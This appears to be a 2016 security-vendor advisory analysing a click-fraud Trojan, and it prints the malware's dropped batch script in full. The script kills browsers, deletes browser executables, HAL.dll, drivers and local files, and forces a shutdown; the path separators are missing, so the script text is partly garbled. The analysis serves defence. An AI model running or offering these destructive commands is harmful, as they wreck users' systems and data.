Click-fraud Trojan deletes files and impairs systems

April 29, 2016

The Dell Sonicwall Threats Research team have discovered a Click-fraud Trojan that also deletes files and attempts to disable parts of the operating system. It appears to be poorly written and did not succeed in its intention to disable the mouse and keyboard on our test system. It is however, able to delete files, kill explorer.exe and shutdown the system.

Infection Cycle:

The Trojan drops the following file and runs it:

  • %USERPROFILE%Local SettingsTemp2.tmpVirusok.bat

Virusok.bat is a Windows batch script:

The script contains the following instructions:

      @shift /0
      @echo off
      taskkill /im /f chrome.exe
      taskkill /im /f ie.exe
      taskkill /im /f firefox.exe
      taskkill /im /f opera.exe
      taskkill /im /f safari.exe
      del C:Program FilesGoogleChromeAppulcationchrome.exe /q
      del C:Program FilesSafarisafari.exe /q
      del C:Program FilesMozilla Firefoxfirefox.exe /q
      del C:Program FilesOperaopera.exe /q
      del C:Program FilesInternet Explorerie.exe /q
      rundll32 mouse,disable > nul
      rundll32 keyboard,disable > nul
      rundll32 user,disableoemlayer > nul
      reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoulciesExplorerRestrictRun /v 1 /t REG_DWORD /d %SystemRoot%explorer.exe /f > nul
      taskkill /f /im explorer.exe > nul
      del: *.*/q > nul
      del %WinDir%system32HAL.dll/q > nul
      del "%SystemRoot%Driver" /f /q >nul
      del "%SystemRoot%Cursors*.*" >nul
      shutdown -s -t 00 -c error > nul
      del %0

In addition to deleting and hal.dll it deletes all files in the current directory that it is being run from as instructed in the batch script above:

      del: *.*/q > nul

The Trojan causes the following DOS window to be displayed on the screen:

As instructed in the batch script it opens Internet Explorer in order to display as part of its Click-fraud operation:

SonicWALL Gateway AntiVirus provides protection against this threat via the following signature:

      GAV: Reconyc.A_4 (Trojan)